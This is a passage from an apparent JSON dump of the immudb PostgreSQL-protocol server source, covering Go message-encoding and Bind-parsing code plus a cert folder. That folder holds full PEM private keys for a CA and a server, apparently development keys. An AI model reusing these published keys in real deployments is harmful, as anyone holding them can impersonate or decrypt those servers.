formatCodes[n]\n\t\t}\n\t\tformatCode := make([]byte, 2)\n\t\tbinary.BigEndian.PutUint16(formatCode, uint16(fc))\n\n\t\trowDescMessageB = append(rowDescMessageB, bytes.Join([][]byte{fieldName, id, attributeNumber, objectId, dataTypeSize, typeModifier, formatCode}, nil)...)\n\t}\n\n\t// Length of message contents in bytes, including self.\n\t// Int32\n\trowDescMessageLengthB := make([]byte, 4)\n\trowDescMessageLength := 4 + 2 + len(rowDescMessageB)\n\tbinary.BigEndian.PutUint32(rowDescMessageLengthB, uint32(rowDescMessageLength))\n\n\treturn bytes.Join([][]byte{messageType, rowDescMessageLengthB, fieldNumb, rowDescMessageB}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/cert/ca-cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIF6TCCA9GgAwIBAgIUGH9hgmfEzEsRuSyq56bbVLZJSh8wDQYJKoZIhvcNAQEL\nBQAwgYMxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91\nc3RvbjETMBEGA1UECgwKQ29kZW5vdGFyeTEZMBcGA1UEAwwQKi5jb2Rlbm90YXJ5\nLmNvbTEiMCAGCSqGSIb3DQEJARYTaW5mb0Bjb2Rlbm90YXJ5LmNvbTAeFw0yMzEx\nMDMxNTUxMDdaFw0zMzEwMzExNTUxMDdaMIGDMQswCQYDVQQGEwJVUzEOMAwGA1UE\nCAwFVGV4YXMxEDAOBgNVBAcMB0hvdXN0b24xEzARBgNVBAoMCkNvZGVub3Rhcnkx\nGTAXBgNVBAMMECouY29kZW5vdGFyeS5jb20xIjAgBgkqhkiG9w0BCQEWE2luZm9A\nY29kZW5vdGFyeS5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC7\nuR3S6YWXUckguoZHeuoD4mUv7E+O74c8/5rJCu8xW5diFROZ3NB9MGRPnCoUSLam\nqAXqO+FW0iwwWANlH1qQu3uJogOSVcx2qkne9cQ3PF5lG+O0l+6mu7I5tCLalkIe\nBLVH0bxxSe/lqHfD1lYO6uq74MIs35zNYaX2A5en8tJ8FoA4sE1uNraThq+vx7Aq\nhzNApEUD3GAqRyDUcvDcx/9WgogaVm5k+J2xk3Q3aKaVzVh0BisGD52SSMicQtYk\nrtFK/tuYCXyWM7SOMtgRSPI0M01BqtYrC12zRpnYD3oNoao0QCv2gJylrs/j3hSD\npLFyRy/dFKUb35nsEzNsk4yuzS4NJ8KBSYyWK5wu+D64G+Tg4DVQCf5BpSJD1/Jw\nUIjkK6UmedNr5CSbzzurifwXkMFJ08dYUdKr8b7XUVxSOrvbkGnzJgTM3/bh356L\nDUFlKxTxLTsZqovn7Q5aUHtGe0lU7b48ZX/RzSYl3BliQ2efMURWzVRITh6+j+fz\nECK6MfXHH8pdvk4PxMNC/m70dZ2tZSNiyV3B0ngKRVJoF/9gKoQqQrlOgbFUNX1Z\nBXv7o5vEMFkgTehOXM6jOkyfKqo/4TEO0StySet8miOYKtOGqWj4FzOSEc/48svE\nnIeQfOPiK4NxEXwOLwjW2E2vzyAps4ZmlASHGfr8gwIDAQABo1MwUTAdBgNVHQ4E\nFgQUUho7f1Gpfivi/wweuhE5HuEAO4cwHwYDVR0jBBgwFoAUUho7f1Gpfivi/wwe\nuhE5HuEAO4cwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAAsnD\nF3rwcVdBZJR9IzsViRvXstK0yfF8cdQE8uI6Hp9DzHOjHkdt2kBMrqRZNaxUdecd\ni1Bt4/t43L/7tabNNxTI/Iubu9qAKZ6+oLJXpZAiKXWsob9eulA+8yZiG/LEzfpy\np6WkEPPNPNc1ISZk6o0KXoIBo0Yp1xwVuX/xTNgn2T//JBcuJ0b2PUOW+71sSlWH\ntD6HVYcyDmpV3iKZLsLVaVvGQ3FEFMe8n+Hv/h1HRd7xTwX11dbKDLHWr25zNbKj\nEkv9u7ePSaO01FNeDqvQddmFQDwA6jgAPlogMO2/MOyBjHu7w6nQl3gjqrJkzJK0\njQ1n74uhAwH7c7xrVyE3pW71vpV4nHK2LvzTh+UqtFy+MLFVhr+qCtB7R7NxqIcq\n65KxznjqtMSK4+w3SMX2IqDX4lBJ0jMhENULPVsmYr1g4OPkdiLM8HV0YolZP7EZ\n0yW2QABRIcH6Weqt3BvUIlqfsIBimyKSDLWzvKOYfOQWYhvwzqlGmNKUzrxeAIes\nhLRHKCzkprSCqCh6zXgjG/lZD38exGbBj4TXFReTnqdF4SNNJTxDGe3lS2nr9RCI\nE9m57ZttBbGDkRUs3OV1XW0XSGuvkDZaB1QoOBE5sbm4JBX2pfN9mdGeq/HXOCiv\nqanwE0bUvzP9FQG1+4XPotP1CZVPoMegLPs5dZc=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "pkg/pgsql/server/cert/ca-cert.srl",
    "content": "46A407E210F53EBCE67145513C1202036E594946\n"
  },
  {
    "path": "pkg/pgsql/server/cert/ca-key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIJQQIBADANBgkqhkiG9w0BAQEFAASCCSswggknAgEAAoICAQC7uR3S6YWXUckg\nuoZHeuoD4mUv7E+O74c8/5rJCu8xW5diFROZ3NB9MGRPnCoUSLamqAXqO+FW0iww\nWANlH1qQu3uJogOSVcx2qkne9cQ3PF5lG+O0l+6mu7I5tCLalkIeBLVH0bxxSe/l\nqHfD1lYO6uq74MIs35zNYaX2A5en8tJ8FoA4sE1uNraThq+vx7AqhzNApEUD3GAq\nRyDUcvDcx/9WgogaVm5k+J2xk3Q3aKaVzVh0BisGD52SSMicQtYkrtFK/tuYCXyW\nM7SOMtgRSPI0M01BqtYrC12zRpnYD3oNoao0QCv2gJylrs/j3hSDpLFyRy/dFKUb\n35nsEzNsk4yuzS4NJ8KBSYyWK5wu+D64G+Tg4DVQCf5BpSJD1/JwUIjkK6UmedNr\n5CSbzzurifwXkMFJ08dYUdKr8b7XUVxSOrvbkGnzJgTM3/bh356LDUFlKxTxLTsZ\nqovn7Q5aUHtGe0lU7b48ZX/RzSYl3BliQ2efMURWzVRITh6+j+fzECK6MfXHH8pd\nvk4PxMNC/m70dZ2tZSNiyV3B0ngKRVJoF/9gKoQqQrlOgbFUNX1ZBXv7o5vEMFkg\nTehOXM6jOkyfKqo/4TEO0StySet8miOYKtOGqWj4FzOSEc/48svEnIeQfOPiK4Nx\nEXwOLwjW2E2vzyAps4ZmlASHGfr8gwIDAQABAoICAC7BXZdBiH925FRdgMJe79hF\n1BQKlIoySIm91AyMx6SQfnT0cOxanicAHYvihmyE69E4ejir72UTdeQYl8fg9kqk\nF5HhI2iYLBPGOB3rMpLbW1tthdpeGRe4GhzbK+8ri440d/5KU9gXpUObITFKuiZ/\nBjYDNfm9PC2/S3mpzWUMSraTWB5GcxKnV/QIkMuEPfFpuS85euMKSX1eN+QSOMGU\nopkma8W7j0Vg0s3+vuxqCUu4WHaVbrPUwddEf4rD7tg2HnTCY2lLu5chi6/7I+uy\nMnkj6fMYHL2d2Bml1P2GZUzt3hmjfg+oWtu9XZQQpSVgqL2g02AKG1GE8K5m3eCY\n6k0CKrzuHc1OPSao1wGRXqQ8MVdfMivF0KgCZm36yFzJ1l0xuacXRsd7fYlFDAzL\nlqm3AFXuThnMS5JxlR0WO1/Za7F4rLnTLHmyEPVM/cH/hKVCFsnSL72abJ2ySEzK\nvF8oDJIk45QrtAsFkn2BtqhgPur4whYU3GoObSlr1ch3V4qtImgc/dkmpCsgIZ4B\nSQQFI+XizJxtI2DJhpGSNe3EiZ61F05lt17HW8pmH1NnNYwy3mYNs5Jn2rSA2JcO\nWrDtKsgDd39uZoaFNyqOLWRmm5bYszuOrR7pLHhMupRDYgOWX6TDO2OD2xD2UaxZ\nwEZyl5U+tHiyhQOcYd+BAoIBAQDfnZ8C7fZWB5M4+bLwuSuqcc4AhJEBR9lyTook\nKe0sTeQXAPuMRw+XsCEGg/YVrOEZHUiUEwHxyREImrsKyGICt/akNLNHCP3auHix\nZxLO4rlClDNidNqQnQggp86mETGp9b1HG8xhAsvv2wfRL1ZyMTvtmy71L7ikDCBs\nm5meUHvuJ76fQ25gwhqm8AOsjjLIV9rmRpEgHS/ItOrYe+sQmEugCfTyLMwtDYGE\n0qiirXyb79K8iUP0S5WXQmWGfLv3GuYXYfS9RWu1O8JdCAnKx6D5ubtnf4y3SwA/\nec04TwZDR+EcM40lCYZr8aJZsOkXhsnOYjcJ676R1pNlp7TDAoIBAQDW6M4hzIxO\nSrluPlcNUOpslWrKsRqeBW2PIdj8qHkHisVfMzPCoE67pyF9HJTPGgvMnGp+PZC4\n2vExk+2fN9j0PFggDA9kLbZzzbwLY6uHEF5rnAJMbYbHoND/t4ZPURxerGatlles\nTqSGI6gBHawjeFtsySxAlKzbgAl5KtFd8ewlAdYINgVB3R1lezjVpqfvF1iSxraJ\nRUI0JrM8TejFulC/7HWzfK+zXwnX9TYHH9KF+3VaRemMB0RN1ZDUO4pW2XfVqrw+\nuyVMbhS1/F97kE7EkmRitFvFZpeWp8OacrDMfGlgayaKq0679XaWDQ+3c4G5shwH\n4aYQXJ+qpB1BAoIBADIeoQJGFb1oiz3s8Yd06W2VfmetTtbrpLgzFFFQuGECwEnL\npZXmY39LMcvFDgYDrpwzbQ4LSJdJyrCUBbJAAX+8feKGEVytjkBUsnCIurV2KbHb\nh7zclhRtreGr2uxr1CbU9myWtXNU7iK/g/wF0SldEaKK8rZv0MGsGiRdp8vNHEnf\nzKDjuzyipNif2SL26DjxQBX24RZClHA25KBK/f/FMsYXFTimg8jhSxNbKAL2QYSt\n9xzc40dBHbE+Z4UCNhsHg2TgRruZcK+5SjIR2CgEIHd4gqGK/B4lCFQx16Z0R+IS\nnUj14P/ZJ7DQAuR5e3UTd+3zI4TsutTzNCxHr4MCggEAEFp4zROenZqMD7qIr0e3\n/vlDvhbJ+rpZAupFc7xyMUO7Dyp7RtUiCJ+IKdgR7syBl1lTtTWEHLz0W5xxGYuL\nY9JvtkiUpz/fQWKna4pzE/0H4lJlzmELP4eaP8s8Wi7G5OFjktP86ey2EksGTsdu\nQOi4tEd+qY9ms/FDR0gd1HNDT/Ga0tchgUiNIxrEUWW0I7p4D/s1Cq8NgaBsRSt8\nigdKe8BHmJflWtXhjuBm8xXV1EI1ROBLDE/FP9L/iVbaiQ9VUhoC5xcgmHdL9ik1\nLtblV4n4P5aP4S6UXG95r/gIQhc5gY/FyAmPHThphLOLvZ75gSLvhR4Dn/0cXUTN\nwQKCAQBWEOjMw1ymSAdC55zYT4VtNz/sq47YTa7KAZbqumagBINRDr4zquyB7A7c\nlK4kLneO1oaXX2apaPJJBhaHIa4CM0xoJ8VI2RZpBYQhsnNl+JEkCkQ4As7Bz2tO\nJSauDyFd2PjsPqHeJ7UZn3Yx3W3DLTS4rC/PtJM9ozB/iUlhy+f4k2f/Apd/1qDO\n3eV++2lFtzVhHnm1jXKP1zXlhdW4akdoQWY6tfOGcT9mtlzhhEvUAWk6crQXjiuN\niSqNujcxgVTC+xMLbqsuotApysWsqU6wDkKi7blL2VPicw6c8VA7/81ndEgZPIaa\nvwopAU/AmEZF2KGlf1bbRVoXxATi\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "pkg/pgsql/server/cert/server-cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\n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\nDfIq9nBctboYMcAmAa/u4aIiX0NJhXAF+FCgwzc=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "pkg/pgsql/server/cert/server-ext.cnf",
    "content": "subjectAltName=DNS:*.immudb.com,IP:0.0.0.0"
  },
  {
    "path": "pkg/pgsql/server/cert/server-key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\n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\nbonieX/tWyj+V6l1vlkUwd4xTGas\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "pkg/pgsql/server/cert/server-req.pem",
    "content": "-----BEGIN CERTIFICATE REQUEST-----\nMIIEuzCCAqMCAQAwdjELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYD\nVQQHDAdIb3VzdG9uMQ8wDQYDVQQKDAZpbW11ZGIxFDASBgNVBAMMCyouaW1tdWRi\nLmlvMR4wHAYJKoZIhvcNAQkBFg9pbmZvQGltbXVkYi5jb20wggIiMA0GCSqGSIb3\nDQEBAQUAA4ICDwAwggIKAoICAQDPX6u6QPeuv8k0EmYiG7eO3tvhvF4an/gvju+0\nsh0i936x890rMjXdSr0ll/rK3vfVVLDzM35gPllmdNu8jXJKRZLzUyQVcsxYleJV\nfG3I0EdBHS0u0aew1TK0nHofGYEuVB40nb97SslpkCHxgOo4Fm53FKfT2l/BH4mb\n5m/oHqg8D+Aq2g73oGsiMf4krEtJwKQ/+AhWFNhmdOh9P0vd8dLFZ4ZZs19m1xpP\nf3lhGfvJAFR8HQ5/7a03msXUTNeAxhQmrC/dVanGsPATU0Q9Bh2bkAJrKpgYP5yU\n7L3eXi0Bbx6EjQV0TnAToZV/otxF0roKMdB2vvGupambxekgCTV3ZuPSLN5kbAyx\n8xzEhmkdBvgIxzEVpHae3WpW7JsFitvPrF0Uvesx5vR9y/CPJyHcJLbnTFbDXq3Z\nw9GV8crs2TiG390D+tElU0/4x8ed76r1Fs8LkMKTISbGoC+OkqhRcAJ2S0/CaxMJ\neOTizZRKFXHZsTnR1sDwKug38g2v7QwRtvmOrOT10eXZxLIKd+tbNS/1m1Y0b5ia\nZCB1axMTyhv9Y6L6x6a/c34UQaSpMOTTg33D1DjhrRQNVd/ihINfVqQEkxZmnO+B\nftZwnnAy4PLkiUTeoQ1Wv+ewF8sffctN1vOrsol5/Hr6cqH12eG5AY+7Hd3NViGL\nxTpvwwIDAQABoAAwDQYJKoZIhvcNAQELBQADggIBACgdPg5bolGkxeBktGS3m4t3\nZN5bwn98ZO8CbcMSSKiFtgLT2ZdwN07O1y/KWN3LZLiqac83VGczA5FrQeJ3J2Yx\nhd98C6Zda/xT8O4fgVzoL/QDIkVJFBAjHs+nIFTCBZMVI6kmiw/SMNrKPzL7Vl7Q\nVPiPIpCB85pg1ZZadlakpimyxapT05Rww0EJI7DwXtd+GfaKNOsETUa0g7qFq1wI\n7ko6vN2NF6sU+PK0zaD8HStyMSgFWpjQfjSwLOlzVFsOFbYqJ3JK8PeX84/ep6/6\nzI73pNNBeys9u8dR9OF8xmk1YhKQDtbPzD2mzyYZoyKI8KgzWkfm8/xR6V6yznDv\njBKEG0gjt8Hp9OVhno+B9/WZWzTZkzqN2VxdLlLOAq6gnHy3C7aiwfRMZ8Kir9XF\nqfe7xXYQdCikO2O8jxxzLIP+lWk8B8F83yEK+A+BnN3yIi+A/v5DByrkUzRn78QU\nqCqqeW4aSlrgdLmfThIkA7Om4fesgKKYaPfjdvzFtJyLqxw4PRbo1kHjmw5xqMob\nqtuU6zVCzAiOxq+ENlJVrOo3eI0gaYastlWhsi57Maf9IHH+pmMzpS4CVg2nS0OB\nwQ6oYqWWGH2xhXmgcFH+c/VXb/wYsgkMHiUuIeLCrxaTDQr2zF1cLhXFkuWBInnY\nuyY9qqJ+0AdO49yENS3M\n-----END CERTIFICATE REQUEST-----\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/bind.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\n\tpgserrors \"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n)\n\n// BindMsg Once a prepared statement exists, it can be readied for execution using a Bind message. The Bind message gives the\n// name of the source prepared statement (empty string denotes the unnamed prepared statement), the name of the destination\n// portal (empty string denotes the unnamed portal), and the values to use for any parameter placeholders present in the\n// prepared statement. The supplied parameter set must match those needed by the prepared statement. (If you declared\n// any void parameters in the Parse message, pass NULL values for them in the Bind message.) Bind also specifies\n// the format to use for any data returned by the query; the format can be specified overall, or per-column.\n// The response is either BindComplete or ErrorResponse.\n//\n// Note\n// The choice between text and binary output is determined by the format codes given in Bind, regardless of the SQL\n// command involved. The BINARY attribute in cursor declarations is irrelevant when using extended query protocol.\ntype BindMsg struct {\n\t// The name of the destination portal (an empty string selects the unnamed portal).\n\tDestPortalName string\n\t// The name of the source prepared statement (an empty string selects the unnamed prepared statement).\n\tPreparedStatementName string\n\t// The parameter format codes. Each must presently be zero (text) or one (binary).\n\tParameterFormatCodes []int16\n\t// Array of the values of the parameters, in the format indicated by the associated format code. n is the above length.\n\tParamVals []interface{}\n\t// The result-column format codes. Each must presently be zero (text) or one (binary).\n\tResultColumnFormatCodes []int16\n}\n\nfunc ParseBindMsg(payload []byte) (BindMsg, error) {\n\tb := bytes.NewBuffer(payload)\n\tr := bufio.NewReaderSize(b, len(payload))\n\tdestPortalName, err := getNextString(r)\n\tif err != nil {\n\t\treturn BindMsg{}, err\n\t}\n\tpreparedStatement, err := getNextString(r)\n\tif err != nil {\n\t\treturn BindMsg{}, err\n\t}\n\t// The number of parameter format codes that follow (denoted C below).\n\t// This can be zero to indicate that there are no parameters or that the parameters all use the default format (text);\n\t// or one, in which case the specified format code is applied to all parameters; or it can equal the actual number\n\t// of parameters.\n\tparameterFormatCodeNumber, err := getNextInt16(r)\n\tif err != nil {\n\t\treturn BindMsg{}, err\n\t}\n\tif parameterFormatCodeNumber < 0 {\n\t\treturn BindMsg{}, pgserrors.ErrMalformedMessage\n\t}\n\tparameterFormatCodes := make([]int16, parameterFormatCodeNumber)\n\tfor k := 0; k < int(parameterFormatCodeNumber); k++ {\n\t\tp, err := getNextInt16(r)\n\t\tif err != nil {\n\t\t\treturn BindMsg{}, err\n\t\t}\n\t\tparameterFormatCodes[k] = p\n\t}\n\t// The number of parameter values that follow (possibly zero). This must match the number of parameters needed by the query.\n\tpCount, err := getNextInt16(r)\n\tif err != nil {\n\t\treturn BindMsg{}, err\n\t}\n\n\t// Handling format codes: see resultColumnFormatCodesNumber property comment\n\tforceTXT := false\n\tforceBIN := false\n\tif len(parameterFormatCodes) == 0 {\n\t\tforceTXT = true\n\t}\n\tif len(parameterFormatCodes) == 1 {\n\t\tswitch parameterFormatCodes[0] {\n\t\tcase 0:\n\t\t\tforceTXT = true\n\t\tcase 1:\n\t\t\tforceBIN = true\n\t\tdefault:\n\t\t\treturn BindMsg{}, pgserrors.ErrMalformedMessage\n\t\t}\n\t}\n\n\tif len(parameterFormatCodes) > 1 && len(parameterFormatCodes) != int(pCount) {\n\t\treturn BindMsg{}, pgserrors.ErrMalformedMessage\n\t}\n\ttotalParamLen := 0\n\tparams := make([]interface{}, 0)\n\tfor i := 0; i < int(pCount); i++ {\n\t\tpLen, err := getNextInt32(r)\n\t\tif pLen < 0 {\n\t\t\treturn BindMsg{}, pgserrors.ErrNegativeParameterValueLen\n\t\t}\n\t\tif err != nil {\n\t\t\treturn BindMsg{}, err\n\t\t}\n\t\ttotalParamLen += int(pLen)\n\t\tif totalParamLen > pgmeta.MaxMsgSize {\n\t\t\treturn BindMsg{}, pgserrors.ErrParametersValueSizeTooLarge\n\t\t}\n\t\tpVal := make([]byte, pLen)\n\t\t_, err = r.Read(pVal)\n\t\tif err != nil {\n\t\t\treturn BindMsg{}, err\n\t\t}\n\t\tif forceTXT {\n\t\t\tparams = append(params, string(pVal))\n\t\t\tcontinue\n\t\t}\n\t\tif forceBIN {\n\t\t\tparams = 